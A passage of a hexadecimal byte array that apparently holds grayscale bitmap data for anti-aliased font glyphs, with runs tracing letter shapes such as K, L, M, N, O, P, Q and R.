0xFF, 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xF6, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x41, 0xFF, 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xF6, 0x64,
0xC9, 0xC9, 0x86, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xF6, 0x7E, 0xFF, 0xFF, 0xBD, 0x00, 0x00,
0x00, 0x48, 0xFF, 0xFF, 0xE8, 0x66, 0xFF, 0xFF, 0xD4, 0x00, 0x00, 0x00, 0x81, 0xFF, 0xFF, 0xCD,
0x45, 0xFF, 0xFF, 0xFF, 0x32, 0x00, 0x17, 0xCF, 0xFF, 0xFF, 0xAF, 0x10, 0xEF, 0xFF, 0xFF, 0xF5,
0xD2, 0xFA, 0xFF, 0xFF, 0xFF, 0x56, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD5,
0x02, 0x00, 0x01, 0x67, 0xF1, 0xFF, 0xFF, 0xFF, 0xFE, 0xAD, 0x11, 0x00, 0x00, 0x00, 0x00, 0x03,
0x24, 0x48, 0x35, 0x0C, 0x00, 0x00, 0x00, 0x1B, 0x37, 0x37, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x29, 0x37, 0x37, 0x37, 0x0E, 0x00, 0x7F, 0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5C, 0xFD, 0xFF, 0xFF, 0xF6, 0x3B, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x56, 0xFC, 0xFF, 0xFF, 0xF5, 0x41, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00,
0x00, 0x00, 0x51, 0xFB, 0xFF, 0xFF, 0xF4, 0x3F, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00,
0x00, 0x00, 0x4C, 0xFA, 0xFF, 0xFF, 0xF3, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8,
0x00, 0x00, 0x47, 0xF8, 0xFF, 0xFF, 0xF2, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF,
0xB8, 0x00, 0x42, 0xF7, 0xFF, 0xFF, 0xF1, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF,
0xFF, 0xB8, 0x3E, 0xF5, 0xFF, 0xFF, 0xF0, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F,
0xFF, 0xFF, 0xF2, 0xF3, 0xFF, 0xFF, 0xF0, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEF, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xE4, 0xED, 0xFF, 0xFF, 0xFD, 0x59, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x37, 0xF3, 0xFF, 0xFF, 0xFB, 0x53, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x42, 0xF8, 0xFF, 0xFF, 0xFA, 0x4E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x4F, 0xFB, 0xFF, 0xFF,
0xF9, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x5C, 0xFE,
0xFF, 0xFF, 0xF7, 0x44, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00,
0x6B, 0xFF, 0xFF, 0xFF, 0xF5, 0x3F, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7B, 0xFF, 0xFF, 0xFF, 0xF3, 0x3A, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x8B, 0xFF, 0xFF, 0xFF, 0xF1, 0x35, 0x00, 0x7A, 0xFF, 0xFF, 0xB8, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0xEF, 0x14, 0x05, 0x0B, 0x0B, 0x04,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xA8, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF,
0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF,
0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xBA, 0x03, 0x03,
0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x01, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA4, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xB7, 0x7A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xB7, 0x1B, 0x37, 0x37, 0x37, 0x37, 0x1C, 0x00, 0x00, 0x00, 0x06, 0x37, 0x37, 0x37, 0x37,
0x32, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0xFF, 0xE7,
0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xF1, 0x04, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0x7F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3C, 0x00, 0x00, 0xD4, 0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0x7F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x83, 0x00, 0x1B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0x7F, 0xFF, 0xFF,
0xEF, 0xFF, 0xFF, 0xCA, 0x00, 0x61, 0xFF, 0xFF, 0xF4, 0xFF, 0xFF, 0xE7, 0x7F, 0xFF, 0xFF, 0xA8,
0xFC, 0xFF, 0xFD, 0x13, 0xA8, 0xFF, 0xFF, 0xA9, 0xFF, 0xFF, 0xE7, 0x7F, 0xFF, 0xFF, 0x95, 0xC5,
0xFF, 0xFF, 0x5A, 0xEC, 0xFF, 0xFC, 0x61, 0xFF, 0xFF, 0xE7, 0x7F, 0xFF, 0xFF, 0x95, 0x7A, 0xFF,
0xFF, 0xD4, 0xFF, 0xFF, 0xC3, 0x4F, 0xFF, 0xFF, 0xE7, 0x7F, 0xFF, 0xFF, 0x95, 0x30, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x78, 0x4F, 0xFF, 0xFF, 0xE7, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0xE4, 0xFF, 0xFF,
0xFF, 0xFF, 0x2C, 0x4F, 0xFF, 0xFF, 0xE7, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x9A, 0xFF, 0xFF, 0xFF,
0xE1, 0x00, 0x4F, 0xFF, 0xFF, 0xE7, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x50, 0xFF, 0xFF, 0xFF, 0x96,
0x00, 0x4F, 0xFF, 0xFF, 0xE7, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x0C, 0xF9, 0xFF, 0xFF, 0x4B, 0x00,
0x4F, 0xFF, 0xFF, 0xE7, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x6E, 0x8A, 0x8A, 0x09, 0x00, 0x4F,
0xFF, 0xFF, 0xE7, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF,
0xFF, 0xE7, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF,
0xE7, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xE7,
0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xE7, 0x7F,
0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xE7, 0x7A, 0xFF,
0xFF, 0x8B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xDD, 0x1B, 0x37, 0x37,
0x37, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x37, 0x37, 0x37, 0x01, 0x7F, 0xFF, 0xFF, 0xFF,
0xA3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0xFF, 0xFB,
0x21, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0x96,
0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0x18,
0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8A, 0x00,
0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0x11, 0x00,
0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0xB9, 0xFC, 0xFF, 0xFF, 0x7E, 0x00, 0x00,
0x0F, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0x95, 0xA5, 0xFF, 0xFF, 0xEC, 0x0B, 0x00, 0x0F,
0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0x95, 0x2B, 0xFE, 0xFF, 0xFF, 0x71, 0x00, 0x0F, 0xFF,
0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0xAF, 0xFF, 0xFF, 0xE4, 0x06, 0x0F, 0xFF, 0xFF,
0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x34, 0xFF, 0xFF, 0xFF, 0x65, 0x0F, 0xFF, 0xFF, 0xFF,
0x05, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xDC, 0x12, 0xFF, 0xFF, 0xFF, 0x05,
0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x3E, 0xFF, 0xFF, 0xFF, 0x68, 0xFF, 0xFF, 0xFF, 0x05, 0x7F,
0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0xC2, 0xFF, 0xFF, 0xE1, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF,
0xFF, 0x95, 0x00, 0x00, 0x00, 0x48, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF,
0x95, 0x00, 0x00, 0x00, 0x00, 0xCC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0x95,
0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0x95, 0x00,
0x00, 0x00, 0x00, 0x01, 0xD5, 0xFF, 0xFF, 0xFF, 0xFF, 0x05, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00,
0x00, 0x00, 0x00, 0x5C, 0xFF, 0xFF, 0xFF, 0xFF, 0x05, 0x7A, 0xFF, 0xFF, 0x8B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x03, 0xDD, 0xFF, 0xFF, 0xF8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x48, 0x83,
0x6B, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x90, 0xFA, 0xFF, 0xFF,
0xFF, 0xFF, 0xE3, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xA1, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF2, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0xDC, 0x90,
0xAE, 0xF7, 0xFF, 0xFF, 0xF6, 0x23, 0x00, 0x00, 0x00, 0x14, 0xF6, 0xFF, 0xFF, 0xC8, 0x08, 0x00,
0x00, 0x49, 0xFC, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x80, 0xFF, 0xFF, 0xF7, 0x18, 0x00, 0x00,
0x00, 0x00, 0x85, 0xFF, 0xFF, 0xF6, 0x15, 0x00, 0x02, 0xEB, 0xFF, 0xFF, 0xAE, 0x00, 0x00, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x79, 0x00, 0x1B, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xCE, 0xFF, 0xFF, 0xA6, 0x00, 0x3A, 0xFF, 0xFF, 0xFF, 0x2D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xA2, 0xFF, 0xFF, 0xC5, 0x00, 0x5A, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xE5, 0x00, 0x78, 0xFF, 0xFF, 0xFF, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0xF8, 0x01, 0x71, 0xFF, 0xFF, 0xFF, 0x09, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x7E, 0xFF, 0xFF, 0xFA, 0x01, 0x52, 0xFF, 0xFF, 0xFF, 0x20, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0xDD, 0x00, 0x32, 0xFF, 0xFF, 0xFF, 0x39, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0xBE, 0x00, 0x13, 0xFF, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x04, 0xEB, 0xFF, 0xFF, 0x9E, 0x00, 0x00, 0xD6, 0xFF, 0xFF, 0xD1, 0x00, 0x00, 0x00,
0x00, 0x00, 0x46, 0xFF, 0xFF, 0xFF, 0x62, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00,
0x00, 0x04, 0xC0, 0xFF, 0xFF, 0xE7, 0x07, 0x00, 0x00, 0x06, 0xE6, 0xFF, 0xFF, 0xF3, 0x42, 0x01,
0x0F, 0x9C, 0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4,
0xFA, 0xFF, 0xFF, 0xFF, 0xDB, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0xFD, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xD3, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0xC6, 0xFB, 0xFF,
0xFF, 0xE9, 0xA4, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x43,
0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x0A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB,
0xC2, 0x96, 0x2A, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFD, 0x79, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xF6, 0xDD, 0xDD, 0xDD, 0xF1, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x5B, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x17, 0x87, 0xFF, 0xFF,
0xFF, 0xD9, 0x01, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF,
0xFF, 0x1C, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xFF,
0x3B, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xFF, 0x2C,
0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xBD, 0xFF, 0xFF, 0xF9, 0x04, 0x7F,
0xFF, 0xFF, 0xD6, 0x34, 0x34, 0x37, 0x4B, 0x6D, 0xCE, 0xFF, 0xFF, 0xFF, 0xB9, 0x00, 0x7F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0x20, 0x00, 0x7F, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD3, 0x3C, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xED,
0xBC, 0xBC, 0xBC, 0xBC, 0xAA, 0x83, 0x55, 0x03, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x49, 0x75, 0x8B, 0x71, 0x3D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x16,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0xE9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xCF, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xE6, 0xFF, 0xFF, 0xFF, 0xBE, 0x94, 0xDC, 0xFF,
0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x00, 0x07,
0xC9, 0xFF, 0xFF, 0xFF, 0x3C, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xCF, 0x00, 0x00, 0x00,
0x00, 0x1E, 0xFC, 0xFF, 0xFF, 0x9E, 0x00, 0x00, 0x00, 0x1E, 0xFF, 0xFF, 0xFF, 0x7C, 0x00, 0x00,
0x00, 0x00, 0x00, 0xBC, 0xFF, 0xFF, 0xF4, 0x09, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0x35, 0x00,
0x00, 0x00, 0x00, 0x00, 0x6B, 0xFF, 0xFF, 0xFF, 0x2B, 0x00, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0x1C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0xFF, 0xFF, 0xFF, 0x48, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF,
0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xFF, 0xFF, 0xFF, 0x64, 0x00, 0x00, 0x77, 0xFF, 0xFF,
0xFE, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xFF, 0x73, 0x00, 0x00, 0x5D, 0xFF,
0xFF, 0xFF, 0x16, 0xD3, 0xFB, 0xFB, 0xFB, 0x5C, 0x33, 0xFF, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x42,
0xFF, 0xFF, 0xFF, 0x2E, 0x2F, 0xF6, 0xFF, 0xFF, 0xF5, 0x81, 0xFF, 0xFF, 0xFF, 0x3C, 0x00, 0x00,
0x24, 0xFF, 0xFF, 0xFF, 0x6C, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x1E, 0x00,
0x00, 0x00, 0xD4, 0xFF, 0xFF, 0xC7, 0x00, 0x00, 0xA1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x00,
0x00, 0x00, 0x00, 0x73, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x0A, 0xD4, 0xFF, 0xFF, 0xFF, 0xFF, 0x6B,
0x00, 0x00, 0x00, 0x00, 0x17, 0xF8, 0xFF, 0xFF, 0xFB, 0x84, 0x4B, 0xB7, 0xFF, 0xFF, 0xFF, 0xFF,
0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xDE, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xB6, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x9D, 0xCD, 0xE6, 0xC9, 0x90,
0x20, 0xBF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x19, 0xE8, 0xFF, 0xFF, 0xFE, 0x31, 0x05, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x06, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0xD3,
0x8A, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFA, 0x73, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xF6, 0xDD, 0xE1, 0xF7, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x44, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x25, 0x9F, 0xFF, 0xFF, 0xFF,
0xC3, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x01, 0xBD, 0xFF, 0xFF, 0xF2,
0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x14,
0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xFF, 0xFF, 0xF7, 0x05, 0x00,
0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x16, 0xE1, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x7F,
0xFF, 0xFF, 0xC9, 0x3D, 0x40, 0x57, 0x86, 0xE9, 0xFF, 0xFF, 0xFF, 0x8A, 0x00, 0x00, 0x7F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC4, 0x0D, 0x00, 0x00, 0x7F, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xAF, 0x0B, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xED,
0xBC, 0xC9, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00,
0x03, 0xD3, 0xFF, 0xFF, 0xEA, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00,
0x48, 0xFF, 0xFF, 0xFF, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00,
0xBA, 0xFF, 0xFF, 0xFB, 0x29, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x2E,
0xFD, 0xFF, 0xFF, 0xB9, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x9D,
